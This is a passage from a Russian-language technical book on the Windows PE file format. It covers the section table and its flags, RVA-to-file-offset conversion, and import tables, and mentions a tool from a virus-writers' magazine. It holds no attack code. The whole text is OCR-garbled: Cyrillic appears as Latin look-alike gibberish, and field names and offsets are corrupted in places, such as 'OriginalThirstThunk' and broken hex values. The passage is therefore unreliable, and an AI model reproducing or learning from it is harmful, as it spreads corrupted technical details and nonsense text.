fljia KOHCTam- h  t. n. A  Borland ctpoht ceiamH c HMeHaMH « C O D E »  jjjw 
HcnojiHHMoro Koaa h  « D A T A »  ju ia aaHHbix. C  tohkh 3peHHa 3arpy3HHKa, 
aJia 9 9 .9 9 % W indows-nporpaMM  a ra  cHMBOjranecKHe HMeHa HHHero He 
3HanaT. M ojkho noM eHaTb hx MecTaMH, HcnpaBHTb «.tex t» Ha « .melody*, 
npoH3BecTH eme KaKHe-Hn6yab «uiajiocrH » c HMeHaMH ceKiprii, ho Ha 3a- 
rpy3Ky h  HcnoJiHeHHe nporpaMMw sto  HHKaK He noBjmaeT. lipeacTaBHTe- 
jieM ociaBUiHXca 0 .0 1 % aBJiaeTca, HanpHMep, aHHaMHHeocaa 6H6jraoTeKa 

«O L E A U T 3 2 .D LL > , b KOTopoft CHMBOJuraecKHe HMeHa ceKUHH H3Me- 
HaTb HeJibsa, TaK KaK ohh HcnoJib3yK)Tca koaom caMoii 6H6jmoTeKH. H o  

T3KHC npHM ephl eaHHHHHH.

0 6 pa3 PE-nporpaMMW, xpaHamniica b ahckobom (pa&Jie, pa3aeJieH 

Ha JiorHHecKHe ceicropu. Pa3Mep TaKoro ceicropa yKa3aH b nojie «F ile -  
Alignm ent» 3arojioBKa (o6whho sto  512  6afinroB). Kaacabrii crpyKTypHMH 

ajieMeHT nporpaMMbi (cjiyaceoHaa o6jiacn> 3ar0Ji0BK0B, KoaoBaa ceKUHH, 
ceiam a aaHHbix h  t. n.) pa3MemaeTca c Hanajia HeKoero JioninecKoro ceK- 
Topa, h noa  Hero Bceraa B uaejiaerca ueJioe hhc.’io ceicropoB. .Zlaace ecjra 
coaepjKHMoe KaKoro-HH6yab cTpyicrypHoro 3JieMeHTa peajibHo 3aHHMaeT 

Maiio MecTa (HanpHMep, Bcero oaHH 6aiiT), noa s to t  ajieMewr Bee paBHO 
6yaeT BbiaejieH ue.auH jiorHHecKHH ceicrop (a  511  6aHTOB b ero «XB0CTe» 
OCTaHyTCa HeHCn0JIb30BaHHHMH ).

IlocJie 3arpy3KH nporpaMMbi b naMHTb oHa TaioKe oica3UBaeTca pa3- 
aejieHa Ha JiorHHecKHe ceKTopw, ho pa3Mep sthx ceicropoB apyrofi. Oh 
yKa3biBaeTca b nojie «SectionAlignm ent» 3arojioBKa, h ero THiiHHHbie 

3HaneHHa -  4 0 9 6  hjih 65  5 3 6  (ec.iH nporpaMMa co6paHa komhohobluh- 
kom (JiHpMH B orland ) 6aftTOB.
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Bee cTpyKTypHwe aaeMeHTU nporpaMMu, BiuiKreaa «o6aacrb 3arojioB- 
kob» (coflepacamyio, KpoMe co6ctbchho 3aroJioBKa, Maccy cayaee6Hbix 
Ta6^Hu), npHcyrcTByioT h b 4>aiuie, h b naMflra, npineM ecjra nporpaMM- 
HWH 4>aHJI CreHepHpOBaH «HOpMcUIbHUM» KOMnOHOBmHKOM, TO pa3Mema- 
IOTCH B OflHOM H TOM * e  FIOpHflKe.

Pmc. 4.10 ❖ PE-nporpaMMH HaflncKe h b naMsiTM

Aapec, cooTBeTCTByiomHH Ha^ajiy nporpaMMu b naMHTH (nepBOMy 
6airry DOS-3arojioBKa), o6 u h h o  cooTBeTCTByeT 3HaMemiK> nojw 4 Image- 
Base*, h o  MoaceT h  oTjnraaTbcfl o t  Hero. B stom  caynae cTaHOBHTCH aK- 

T y a jib H o ii ra6jmna nepeMeniaeMUx ccuaoic, Ha icoTopyio yKa3UBaeT noae 
«FixupsTableRVA» th 6 jih u u  06'beKTOB. BnponeM, He 6e3 ocHOBaHnii chh- 
Tae-rca, vro rz6mina. nepeMemaeMux ccmjxok npncyrcTByeT ToabKo y m - 
HaMiwecKHX 6 n 6 jm o T e K , kotopm m  41-yjiHTb* no naMara caM  Bhj w  TeHTc 
Beaea. A  o6biMHbie HcnoamieMue nporpaMMu TaKoft Ta6anm»i n p o c T o  He 
coaepacaT, h ecjra no K a K o ft -a n fo  npHMHHe y hh x He noaynaeTCH 3arpy- 
3HTbca no aapecy, yKa3aHH0My b nojie «ImageBase», to oh h  He 3arpyaca- 
iotch Boooiue1.

jlnsi nporpaMM, opneHTHpoBaHHUx HCKarowreabHO Ha Windows NT, 
B nojie «ImageBase» MoaceT 6brrb yica3aHO KaKoe-HH6yab «MaaeHbKoe» 
3HavieHHe (HanpHMep, lOOOOOh), h n03T0My b Windows 9X ohh He 3a- 
nycTHTca. Taioix nporpaMM oneHb Maao, name Bcero sto ciicTeMHue yra-

1 JXna Windows Vista/7 sto yace He TaK
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jihth, BXOflHmiie b flHCTpH6yTHBHyio nocraBKy Windows NT. HanpoTHB, 
•«yHHBepcajn>Hiie» nporpaMMU o6hhho hmciot b stom nojie 3HaHeHHe, 
6ojibuiee hjih paBHoe 400000h, h Taioie nporpaMMU CMoiyr crapTOBarb 
b  jiio6oh onepauHOHHOH CHCTeMe.

4 3 . 1 2 .  Ta6nuufl cexufm
3Ta oneHb BaacHaa cjiyace6Haji cTpyiaypa pa3MemaeTCH cpa3y BCJiea 3a 

3ar0Ji0BK0M, to  ecu. npaicnnecKH Bceraa no CMemeHHio 0F8h ot Hanajia 
<CTaporo» PE-3arojioBKa. BnponeM, nporpaMMHCTbi <J)HpMH Microsoft 
peK0Menayi0T BHHHCJurrb 3T0 3HaneHHe KaK cyMMy RVA «Heo6H3aTejih- 
hoh> Hacra 3aroJiOBKa h ee .ajihhm, xpaHHmencH b nojie «SizeOfOptio~ 
nalHeader».

B 4CTpoKax»- 3toh Ta6;iHUbi pa3MemaeTca HH(})opMaimH o nporpaMM- 
HHX ceKHHflX. 06paTHTe BHHMaHHe, hto HH({>OpMaUHH o KaKOH-m6o ceK- 
ipra MoaceT b Ta6jinne npHcyrcTBOBaTb, a caMoft ceiajHH b nporpaMMHOM 

4»HJie Moacer He OKa3an>cH. H Hao6opoT, ecTb no KpaHHeft Mepe o/fHa 
<ceicnHJi», KOTOpaH He oimcaHa b stoh  Ta6jmije, ho o6jiaaaeT BceMH cboh- 
CTBaMH ceiamH, npHcyTcreyeT h Ha flHCKe, h b naMHTH, -  oto aiyace6Han 
«nceBfloceicnHH» 3aroji0BK0B.

B o t  <Jx>pMaT oa h oh  ■« c tp o k h *  Ta6jiHitbi ceKimfi:

Name db 8 dup(?) +00 h -  HaHMeHOBaHHe ceKUMH
V irtu a lS ize dd ? +08h -  Pa3Mep ceKUHH b nam rvi
VirtualAddress dd ? i-OCh -  RVA C6KUMM B naMflTH
SizeOfRawData dd ? +10h -  PasMep ce kumh Ha pncKe
PointerToRawOata dd ? +14h -  OaitooBoe CMeuieHtie ceicuuM
PointerToRelocations dd ? +18h -  He McnojibayeTCs

PointerTolinenumbers dd ? +1Ch - He ncnonb3yeTCfl
NumberOfRelocations dw ? +20h -  He ncno^b3yeTcn
NumberOfLinenumbers dw ? +22h -  He Hcno/ibayeTcsi
Characteristics dd ? +24h -  SmoBwe 4>/iarn. xapaKTepMsyouiMe ceKuwo

B nojie «Name» pacnojiaraeTcn KaK pa3 t o  caMoe «hhkomy He Hy>KHoe» 
(KpoMe flHHaMHMecKOH 6h6^hotckh «OLEAUT32.DLL») chmbojihmc- 
CKoe hmh ceioiHH. Ecjih hmh HMeeT flJiHHy MeHee 8 CHMBOJIOB, TO nOCJiefl- 
HHe 6aHTW HMeroT HyjieBoe 3HaveHHe.

IIojih «VirtualSize» h «SizeOfRawData» co^epacaT 3HaneHHH, coot- 
BeTCTByiomHe ueaoMy KOJiHHecray JiorHHecKHX ceicropoB. «IIoJie3HaH» 
HH(Jx>pMar(HH noHTH Bceraa 3aHHMaeT Jimiib Hacn> ceKimii, h b stom cjiy- 
nae b KOHiie ee o6pa3yeTca neHcnojib3yeMoe npocTpaHCTBo.

OflHOBpeMeHHoe npncyTCTBHe b Ta6jnm e nojien «VirtualAddress» 
h «PointerToRawData» n03B0JiHeT c^ejiaTb Bnojme jionmHbiH bmbo/i 
O TOM, 4T0 nOpHflOK pa3MeiUeHHH CeKUHH B naMHTH H Ha flHCKe M03KCT He
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coBnaflarb. Ho, KaK mu yace OTMenajiH paHee, komiiohobiiihkh, BxoAHiune 
b cocraB pacnpocTpaHeHHUx chctcm nporpaMMHpoBamiH, He ckaohhu 
k noflo6HUM 4aKpo6aTmecKHM anoaaM* h pa3MemaioT ceKimn b <j)aibie 
b tom nopaflKe, b KaKOM ohh 6yayT totom 3arpyaceHU b naMHTb. MecTO- 
nojioxceHHe «nceBfloceKUHH» 3ar0;i0BK0B b ahckobom (Jjaiijie onpeaejia- 
eTca coaepjfCHMUM flBofnioro cjioBa co cMememieM 3Ch, a b naMHTH -  co- 
gep>KHMUM nojiH «lmageBase».

IIpH  CKaHHpoBaHHH P E -n p o rp a M M  aHTHBHpycaMH nacro npHXOflHTCH 
pernaTb cJieayiomyio 3aflany: H3BecreH RVA (oraocHTe/ibHUH BHpTya^b- 
huh  aapec) HeKoxoporo o6beicTa b naMHTH, Tpefiyercn Hairra ero MecTO- 
nojioxeHHe P o s it io n  b nporpaMMHOM cJjafijie. 3 aaa n a  p em a ercH  b pe3yjn>- 
TaTe BbuiojiHenna cjieayioinHX fleftcTBHH:

O  cHanajia cKaHHpyeTcn Ta6jmua ceKimfl h onpeaeJineTCH ceKUHH, 
BHyrpH KOTOpOH HaXOflHTCH o6T>eKT, TO eCTb Ta ceKUHH, flJIH KOTO-
poii RVA > VirtualAddress, ho npn stom RVA <  VirtualAddress+ 
+VirtualSize;

O  am  3toh ceKUHH onpeaejineTCH cMemeHHe o6i>eKTa orHocHTejibHo 
ee Hanajia Delta := VirtualAddress -  RVA;

O HCKOM3H cjjaH.IOBaH n03HUHH paCCHHTUBaeTCH KaK CyMMa MeCTO- 
nojioaceHHH ceKUHH Ha flHCKe h onpeflejieHHoro Ha npeflbmymeM 
mare CMemeHHH Positions Pointer ToRawData+ Delta.

B nojie -^Characteristics* Ta6jmuH cckuhh ycTaHaBJMBaioTCH 6htobuc 
4>Jiani, HeKOTopue H3 kotopu x  mu ceflnac nepenncjiHM: 20h -  cckuhh 
coaepacHT nporpaMMHbiH koa; 40h -  ceKUHH coflepjrarr HHHimajiH3Hpo- 
BaHHue aaHHue; 80h -  cckuhh coaepacHT HeHHHUHajiH3HpoBaHHbie aaH- 
Hbie; 200h -  cckuhh coAepaorr KOMMeirrapHH wm KaKyio-HirfSyab apyryio 
BcnoMoraTejn>HyK) HH<Jx>pMauHio; 800h -  cejopiH He npeflHa3HaneHa am  
3arpy3KH b naMHTb; 02000000h -  pa3peineH0 yaaJieHHe coaepjKHMoro 
ceKUHH H3 onepaniBHOH naMHTH; 20000000h -  pa3pemeHo HcnojiHeHHe 
Koaa, HaxoflHmerocH b pa3fle;ie; 40000000h -  pa3peuieHO HTeHHe H3 pa3- 
.aejia; 80000000h -  pa3pemeHa 3anncb b pa3fle;i.

HanpHMep, b nporpaMMHOM cjjafcie «NOTEPAD.EXE» HMeercn ceK
UHH <text> c 6htobhmh cJuiaraMH 060000020h, h sto 03HanaeT, hto OHa 
coaepacHT HcnojmHeMUH nporpaMMHbiH koa, KOTopufl pa3pemeHO to;h>- 
ko HHTaTb. CeKUHH «.data» stoh ace nporpaMMU HMeeT Ha6op (JuiaroB 
0C0000040h, HTO COOTBeTCTByeT HHHUHcUIH3HpOBaHHHM flaHHUM, KOTO- 
pue M05KH0 H HHTaTb, H BHflOH3MeHHTb. ^IIceBflOCeKUHH» 3aTOJIOBKOB HH- 
rfle hbho He onncaHa, ho ee cbohctb3 (c tohkh 3peHHH Windows 9X, ho He 
Windows N T !) mojkho 0xapaKTepH30BaTb (JwaraMii 60000060h, to ecTb 
b Hen Moryr coaepacaTbcn h aaHHbie, h npnroaHUH ansi HcnojiHeHHa koa, 
ho 3anncb b 3Ty ceKUHio 3anpeui;eHa.
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Hjunrm e noao6 iiux <|wiaroB, ctporo  paarpaintwBaiomHX <npaBa h 
o6a3aHHOCTH» coflep*HM oro ceiaiHH, HecKOJibKO 3axpy/maeT BHpycy 
*h3hb: HanpHMep, CTaHOBHTCfl hcbo3mojkhoh npocraa caMOMO£H(|)HKa- 
UH» KOja, Ha KOTOpOH OCHOBaHM CaM01UH(j)p0BaHHe H nOJIHMOp<})H3M. 
Ho, pa3yMeercji, jy ia  Toro h to6 h  Haimcarb npocTeHbKyio yrHJiHncy, ycTa- 
HaBJiHBaiomyio ansi ceKimS b nporpaMMHOM (jjaiijie HysKHbie (Jwiani (Ha
npHMep, 0E0000020h), He HyacHO 6brrb reHHeM nporpaMMHpoBaHHSi, h 
H3roTOBHTb ee Ansi ce6a b revieHHe 15 mhhjt cnoco6eH mo6on BHpyconn- 
caTejib, BHpyco^or h npocTo Jno6o3HaTe.TbHbiH chctcmhhh nporpaMMHCT. 
3a6aBHbifl <}>aKT: Bhino;maioiuaa no,ao6Hyio onepaiwio Kpaime npH- 
MHTHBHaa yTHJiHTa «PEW RSEC.EXE», 0ny6jiHK0BaHHaa b cepeaHHe 
90-x roaoB b 0flH0M H3 paHHiix HOMepoB a.TCscrpoHHoro jKypHana «29 A», 
B^pyr Hanajia cBoe 6ypHoe pacnpocTpaHeHHe no MHpy ropa3fl0 6ucTpee 
h aKTHBHee hhmx BHpycoB, Tan mto BHpycojiorn ,aa*e omraKHyjiHCb Ha 
3tot (j)aKT cneixiiajibHbiMH npecc-peJiH3aMH h cpohho bhccjih ee b cboh 
aHTHBHpyCHMe 6a3U (HanpHMep, «AHTHBHpycy KacnepcKoro* OHa H3- 
Becraa nos HaaeaimeM VirTool.Pewrsec).

4.3.1.3. Hjunopm odbetcmoe
I lo a  «o6i>eKTaMH» b flaHHOM cayqae noHHMaioTca nponeaypH  h  4>yHK- 

iihh, pacnojioaseHHwe bo bhcihhhx 6n6nnoTeKax  (H anpH M ep, cHCTeMHwe 

cepB u cb i). IIp o rp aM M M , H e HM nopnipyjom He HmcaKHX BHeuiHHX n p ou e- 

a y p , TeopentHecKH cymecTBOBan> MoryT, h o  pa6 oTan> oh h  6y,ayT aajieKo 

He bo B cex  on ep a im oH H b ix  CHCTeMax. Z le jio  b tom, h to  b W in d o w s  9X ah - 

HaMHHecKaa 6 H6 jm oT eK a  «KERNEL32.DLL» aBTOMaTiwecKH n p o en H p y - 

eTCH Ha aapecHoe np0CTpaHCTB0 juo6oh nporpaM M M , # a »ce  toh , KOTopaa 

He co6HpaJiacb k  Hen oopamaTbca. IIosTOMy TaKaa nporpaM M a, e c jrn  B^pyr 

BHe3anH0 ^nepeflyM aex», Bce-TaKH CMO*eT o G p a n rrb ca  k chctcm hhm  

cepBHcaM, h  3 t o t  npn eM  ( «h b h h h »  HMnopT) 6 y a eT  paccMOTpeH fla jiee . 

B npoTHBomwioacHOCTh 3T0\iy W in d o w s  NT  c  t 3k o h  n porpaM M on  -w aH - 

w r b c a *  He cTaHeT h  p ea jibH o  ocraBH T ee  6 e 3  «KERNEL32.DLL», Ha neM, 

co6cTBeHHO roBopa, ee  6 peH H oe cymecrBOBaHne h 3aBepiiiHTca. E c jih  ace 

BeCTH peHb O «HOpMaJIbHHX» npOTpaMMaX, TO OHH, KaK npaBHJIO, HMnOpTH- 
pyroT, n o  K pa iraeH  M epe, 4>yHKmuo E x it P r o c e s s ( )  H3  «KERNEL32.DLI>.

M3BeCTHbI flBa BapHaHTa HMnOpTa C^yHKUHH H3 BHeUIHHX AHHaMHMe- 

c k h x  6 h 6 j ih o tc k :  HBHUH H HeHBHblH.

Mohuu UMnopm noapa3yMeBaeT, m to  nporpaMMa Ha STane cBoero bw- 
nojiHemia 3anpaniHBaeT y  OnepanHOHHOH c h c t c m h  j ih h c h h h h  aapec h h - 

TepecyioiueH (^vhkuhh h Hcnojib3yeT nojiyneHHoe 3HaneHHe ajih Heno- 
cpeacTBeHHoro aocryna k o h o h . HanpHMep, sto MoaceT BHrjiaaeTb TaK:
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typedef UINT (WINAPI* EPTypeKULONG);
HMODULE hK32 = GetModuleHandleCKERNEL32.DLL-);
EPType _ExitProcess=GetProcAddress(hK32, "ExitProcess");
_ExitProcess(Q);

H o  3T 0T c n o c o 6  HM nopTHpoBaHHH (Jjyincm iH H3HaHaJDbHO o rp a H m eH . 

HeJlO  B TOM, HTO OH OCHOBaH Ha p a 6 o T e  CHCTeMHHX (JjyHKUHH G e tM o d u -  

le H a n d le  h  G e tP ro c A d d re s s ,  K O Top tie , b  c b o io  oH epeab, Toace h b jd h o tch  

cHCTeMHbiMH cepBHcaMH, nocTaM H eM H M H  6 h 6 . t o o tc k o h  « K E R N E L 3 2 .  

D L L » .  IIo jiyH aeTC H  3aM KHyrtJH K pyr, K O Topw ii HeB03M0acH0 pa3 opBaTb 

cpe^cTBaM H HBHoro HM nopTa.

Hestemtu UMtiopm npeaycMaTpHBaeT, h t o :

O HHCTO JIHHTBHCTHMeCKHMH (H3bIK0BbIMH) CpeflCTBaMH nporpaM M a 

aHOHCHpyeT JiHiiib n epeneH b  H H T ep ecyrom ax  ee  6 h 6 j ih o t c k  h  hm- 

n opTH pyeM bix  m  h h x  (JjyHKm m ;

O Ha 3 Tan e  T p a H ca am m  h  k om h o h o b k h  s t h  aaH H u e  noM em aioTCH 

b  c jiyace6 H H e o 6 j ia c r a  E X E -fJ ra iw a ;

O 4>yHKLiHOHajn>HHH KOMnoHeHT onepanHOHHOH CHCTeMbi (Ha3HBae- 
Mbrii o6biHHO npocro ^3arpy3TOK0M») He TOJibKO pa3MemaeT koa h 
aaHHbie nporpaMMU b onepaniBHOH naMHTH, ho h, nojn>3yHCb nepen- 
HeM HMeH 6n6jiHOTeK h 4>yHKUHH, <|)opMHpyeT b ee aapecHOM npo- 
CTpaHCTBe cneitHa^bHyio cnpaBOHHyro xafunmy I A T  ( Im p o r t  A d d 

ress Table) c aicryajibHHM H j ih h c h h u m h  aapecaMH s t h x  4>yHKijHH-,

O Ha 3 Tan e  H cn o jra em iH  nporpaM M bi Bbi30B t o h  h jih  h h o h  BHeuiHeft 

4>yHKUHH cBOflmrca k  o 6 p a m e in n o  n o  jiHHeiiHOM y aapecy , xpaHH- 

m e M y ca  b  T o ii h jih  im o ft  « c r p o K e »  Ta6 jiHUM  IA T .

MeXaHH3M HeHBHOrO HMnOpTHpOBaHHH (JjyHKUHH H3 BHeiUHHX 6h6- 

jiHOTeK 6 a3H pyeTca  Ha ma6xuaip imnopma, KOTOpyiO m ojkho H a irm  b  n a

MHTH n o  3 HaHeHHto n o jia  « Im p o r tT a b le R V A »  3 aroJioBKa P E - nporpaMMbi. 
B  a h ck o b o m  (f)aHJie e e  npnaeTCH HCKaTb BH yrpH  o s h o h  H3  c e ic im fl, R V A  

K O Top u x  H3 BecTHbi. H anpH M ep , b nporpaM M e « N O T E P A D . E X E »  h s  

W in d o w s  9 8  n o jie  c lm p o r tT a b le R V A *  HM eeT 3H aH em ie 6000h , h to  c o -  

oTBeTCTByeT «BHyrpeHHOCTHM » ceKHHH « . id a t a » .  H y  a M ecTonoJ ioacein ie  

caMOH s t o h  c e ia m H  b  ah ck o b o m  (J a ftjie  H3BecTH0 (cm . n o jie  « P o in t e r -  

T o R a w D a ta *  TaojiHUbi ceKUHH).

Ta6jimia HMnopTa -  3 to  «bxoa» b pa3BeTBJieHHyio CTpyKiypy aaHHHX, 
coflepacamyro cBeaeHHH 06 HMeHax h  aapecax HMnoprapyeMwx 06-beKT0B, 
a TaKace 0 npiiH a.a.'ieacnoc to  hx  TeM hjth h h m m  6H6jiHOTeicaM. Bot (JwpMaT 
« CTpOKH* 3T0H TaSjIHIIbl:

OriginalThirstThunk dd ? ; +00h -  RVA aapeoa hmshm (jjy.HKUMH
TiueDateStairip dd ? ; +CWrt - MeTtca naiu h bpshshu
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ForwarderChain dd ?
Name dd ?
FirstThunk dd ?

+08 h - He M ono jibS yeTC fl

+0Ch -  RVA menu 6n6/inoTeKn
+10h -  RVA nnHefiHoro aapeca <t>yHKuiw

TeoperHHecKH no;ie «ImportTableSIze» b TaojiHue o&beicroB xapaK- 
TepH3yer pa3Mep Ta6jnmbi HMnopTa. Ho npaKTHKa noKa3<uia, hto 6ojiee 
Ha^eacHMM HBJweTca CKamipoBaHHe Ta6jHioJ HMnopTa ro  Tex nop, noKa 
Bee ee nojra He oKaacyrcfl HyjieBMMH. IIpHHmni xpaneHHH HHcJ>opMauHH, 
onHCMBaeMoft stoh Ta6^Hnen, n p e flc ra B J ieH  Ha pnc. 4 .1 1 .

Ts6nwjammopra

Pmc. 4.11 ❖  OpraHM3aqna HMnopTa b PE-nporpaMMax

Ho He TaK Bee npocTo. Ha caMOM ae-te MexaHH3M HMnopTa BHeuiHHX 

o 6 i>eKTOB, Hcnojib3yeMbiH b Windows, npeacTaBJiaer co6oh coBOKyn- 

HOCTb HecKOJibKHX pa3JiHHHbix MeTOflOB, peiiiaiomHX oflHy h Ty ace 3aaaHy, 

HO nO-pa3HOMy -  B 3aBHCHM0CTH OT BepCHH OnepaUHOHHOH CHCTeMbI; OT 

BHfla H M noprapyiom eH  nporpaMMbi; o t  KOMnoHOBiiiHKa, kotophh  creHe- 
pnpoBaji nporpaMMHbiH (JraHJi; o t  6H6;iH0TeKH, (J)yHKUHH KOTopoii hm- 
nopTHpyioTCH; h  em e o t  M Hornx ycjioBHH.

0 6 m h h o  Kaacaan «C TpoKa» Ta6 /nmbi HMnopTa xapaKTepH3yeT ye jiy io  

rp yn n y  (JjyHKUHH, HMnopTHpyeMbix H3 KaK0H-T0  onpeaejieHHofi 6 h 6 jiho - 

TeKH, CHMBOJibHoe hmh KOTopoft a/ipecyeTca nojieM «Name»- (HanpHMep, 

3Toh 6 H6 jiH0TeK0H MoaceT 6 hm> «KERNEL32.DLL»)- KjnoneByio po;ib 
b KaayioH «C TpoKe» n rpaer n o jie  «TimeDateStamp», KOTopoe npe/ma3Ha- 

neHo ji-M  xpaHem ui ymucajibHOH m ctkh to h  Bepcnn 6 n 6 jinoTeKM, Ha ko- 

Topyio opiieHTHpoBajicH KOMnoHOBiUHK, co3flaBaa nporpaMMHbiH
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PaCCMOTpHM HecKOJibKO pa3JIIWHbIX BEpHaHTOB MHCJIOBMX 3H3HeHHH 3TO- 
ro iiojih, KOTOpbie peajibHO BCTpenaioTca b nporpaMMHbix c^aftjiax.

B apn aH T  nepB U H  -  «C TaH sapTH b iH » h  HaHCxxnee H acru H : n o jie  « T im e -  

D a te S ta m p *  coaepacH T 3HaveHHe 0. 3 t o  03HayaeT, h t o  k om iioh o b iiih k  

H3HaHajn>HO H e opH eH TH poB ajica  Ha KaKyio-H H 6 yA b  K oincpeTH yio  B epcn io  

6h6jihotckh. B 3to m  cjiynae n o j ie  < O r ig in a lT h ir s tT h u n k »  cctuiaeTc a  

B H yrpb  « T a 6 ;iHUbi aa p ecoB  HMeH h j ih  op/umaJioB (J>yHKUHH» Ha nepBUH  

3 2 -6 h to b h h  3JieMeHT b n o a rp y n n e  n oc jieaoB aTe jibH o  pacnojioxceHHbix 

R V \  HMeH (h j ih  opflH H aJioB ) 4>yHKUHH, a n o jie  < T h ir s tT h u n k »  -  BHjnrpb 

Ta6 j iH iiw  < I A T »  Ha nepBW H 3JieMeHT b n o a rp y n n e  R V A  caMHX (JjyHKiym . 

0 6 e  3th n o a rp y n n b i «cH H xp oH H b i», to  ecn> hx a jieM eirrb i c OAHHaKOBUM 

HHfleKCOM o n H cu B aK T  offHy h  T y  ace <J>yHKUHio, h  o 6 e  o h h  3aKaiwHBaK)T- 

c a  n yjieB b iM  aJieMeHTOM. O pAH H aji o t  aa p eca  hm chh  cJjyHKHHH OTjiHHHTb 

oneHb n p ocT o : e c jrn  b sjieMeHTe « T a 6 jiHUbi aapecoB  HMeH hjih opAHHajioB 

(J>yHKHHH» ycxaHOBJieH b  e a n m m y  CTapuiHH 31  -h 6 h t ,  to  o cT a jib H u e  6 h t h  

npeflCTaBJiaioT co6ofi HOMep <J)yHKi|HH b 6 H6 jiHOTeKe, to  ecTb ee  opAHHaji; 

e c jiH  3T0T 6 h t  c 6 poin eH  b  0 , to  saH H oe 4-6aftT0B0e m hcjio  npeacraB J iaeT  

C060S CCbUIKy BHyTpb <MaCCHBa HMeH (JjyHKUHH*. 3 to t  MaCCHB coa ep - 

jkh t 3anncH nepeMeHHOH ajihhm, nepBwe asa 6aHTa KOTopbix coAepacaT 
^HCJioByio «noacKa3Ky» 3arpy3HHKy, r a e  HCKan. 4>yHKHHio b 6H6jraoTeKe 
(M a c ro  s to  n p o c T o  0), a a a jie e  c j ie a y e T  CTpoKa hmchh, 3aKaHHHBaiomaaca 
H yjieBbiM  6 aftTOM. K c T a ra , HHoraa n o jie  «O r ig in a lT h ir s tT h u n k »-  M O *eT  

0Ka3a-n»ca nycTbiM , b stom c jiyn a e  n o jie  « F i r s t T h u n k »  H eceT  ABOHHyro Ha- 

rp y3 K y : b nporpaM M HOM  <f)aHJie oho c o a e p * H T  ccbu iK y  BH yTpb « T a 6 jn up »i 

HMeH hjih opaHHaJiOB (JjyHKUHH^, a n o c jie  3arpy3KH b naMHTb -  ccbu iK y 

BHyTpb < L A T » .  MaccHB « L A T >  craHOBHTca aicryajibHbiM tojh>ko n o c jie  3a- 
rpy3KH nporpaMMu b naMHTb, Koraa 3arpy3HHK noMemaeT b Hero peajib- 
Hbie 3H3HeHHH aapeCOB (JjyHKUHH.

BapHaHT BTOpOH, XapaKTepHWH aJW HeKOTOpHX CHCTeMHHX yTHJIHT, 

BxoaauiHX b aHCTpH6yroBHyio nocTaBKy Windows: nojie «TimeDate- 
Stamp* coaep*HT 3HaMeHHe, oTjnrmoe ot 0, HanpiiMep OFFFFFFFFh. 
3 to 03HaHaeT, hto komhohobiuhk yneji cjieayiomee o6croaTejibCTBo: aJia 
KOHKpeTHOH BepCHH WindoWS, C KOTOpOH 0AH03HaHH0 CBH3aHa KOHKpeT- 
Haa BepcHH CTaHaapTHofi aHHaMHHecKOH 6h6jihot6kh, JiHHeHHbie aapeca 
pacnojiojKemia pa3JiH4Hbix cepBHCHHX c ĵthkiihh jkcctko (J)HKcnpoBaHH. 
Tskhm 06pa30M, cjiojkhuh npouecc noncKa h conocraBJieHHH HMeH h 
aapecoB (Jjvhkuhh, onncaHHWH Bbnue, OKa3HBaeTca H36brroHHHM. Ak- 
TyajibHbie aapeca (Jjjthkiihh mojkho 3apaHee, eme Ha 3Tane komhohobkh 
jKecnco nponncaTb b nporpaMMe, noapa3yMeBaa npn stom, hto aaHHyio 
nporpaMMy hhkto He 6yaeT nuTaTbca 3anycKaTb b Henoaxoaamen Bep-
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chh W in d o w s .  T aK o ft bha H M nopTa b (J)HpMeHHOH aoK yM eirrauH H  ot 
Microsoft Ha3BiBaercfl bound-mtnopmoM (o t  amTi. to bind -  ciuieTan> 
hto-jih6o B M ecTe). E c jih  •*T im eD a teS tam p »- c o a ep a u rr  KaKoe-TO kohk- 
peTH oe HHCJioBoe 3HaqeHHe, to  H H ^ o p M a io u i 0 6  HMeHax 6 n 6 jiHOTeK xpa - 

hhtcs TaK ace, KaK h  b «c raH aapT H O M » c jiy q a e , onncaHHOM  Bhiuie. Ecjih 
< T im e D a te S ta m p »  coaepacH T FFFFFFFFTi, to  am a o c r y n a  k HMeHaM 

6h6jihotck H cnojib3yeTCH  OTaejibH aa Ta6 jra iia , KOTOpaa a a p e c y e r c a  n o - 

JieM «BoundImportRVA» 3 aro jioB K a P E -n p orp a M M H . O o p M a T  K aacaoro  

ajieMemra stoh T ad n H iiH  bmtjihott c jiea y iom H M  06pa30M :

TimeOateStamp dd ? ; +00h -  MeTKa saTbi/BpeMemi
OffsetModuleName dw ? ; ♦04h -  CMemeHne MMeHM 6n6jiMOTeKM
NumberOfModuleForwarderRefs dw ? ; +06h -  KojinnecTBO "onocpeaoBaHHax" BH30B0B

MeTKa aana h BpeMeHH, xpaHHmaacH b nojie «TimeDateStamp», Hyac- 
Ha fljia cpaBHeHHH co 3HaHeHneM b oaHOHMeHHOM nojie 3arojioBKa 6h6- 
jiHOTeKH -  Bflpyr oHa ( 6n6jiHOTeKa) Bce-TaKH HMeeT apyryio Bepcino?! 
IloJie «OffsetModuleName» coaepacHT cMemeHHe hmchh 6h6jihotckh, 
OTCHHTMBaeMoe o t Hanajia bound-Ta6jinm>i. Ilojie «NumberOfModule- 
ForwarderRe£s> Tpe6yeTCH 3arpy3HHKy b tom cjiynae, ecjin HMnopra- 
pyeMaa 4)yHKiiiui caMa Bhi3MBaeT KaKyio-HH6yab apyryio (JiyHKimio H3 
apyrOH 6H6jIHOTeKH, BepCHIO KOTOpOH TOaCe Heo6x0AHM0 npOKOHTpOJIH- 
poBaTb. Arae ace xpaHjrrca aicryajibHbie aapeca (JjyHKUHH? Iloa hhx Btiae- 
JieH MacciiB 32-6htobhx abohhhx cjiob, aapecyeMHH noJieM «IATRVA* 
3arojioBKa. Oh pa36HT Ha HecKOJibKO rpynn (no KOjranecTBy 6h6jihot6k), 
pa3aeaeHHHX HyjieBWMH aJieMeHTaMH. 06mee KOJimecTBo ajieMeHTOB 
IAT-Ta6jiHio>i JierKO onpeaejweTca no 3HaqeHHio noJia «IATSize».

TpeTHH cjiynaft, cooTBeTCTByiomHH TaK Ha3UBaeM0My « onuioxceHuo- 
My* UMTiopmy, Toace H3peaKa BCTpenaeTCH b nporpaMMax. IIoapo6HO mh 
ero paccMaTpHBan> He 6yaeM, TaK KaK b KOHTeKcre Hauiefi khhth oh 6ojib- 
moro HHTepeca He npeflCTaBjraer. YnoMHHeM TojibKo, hto 0CH0BHaa naea 
«OTJioaceHHoro» HMnopTa 3aKJiroHaeTC» b nepeHanpaBJieHHH 3anpocoB 
HeKoeMy KOMnoHemy onepaiiHOHHOH chctcmh, kotopmh aHHaMHHecKH 
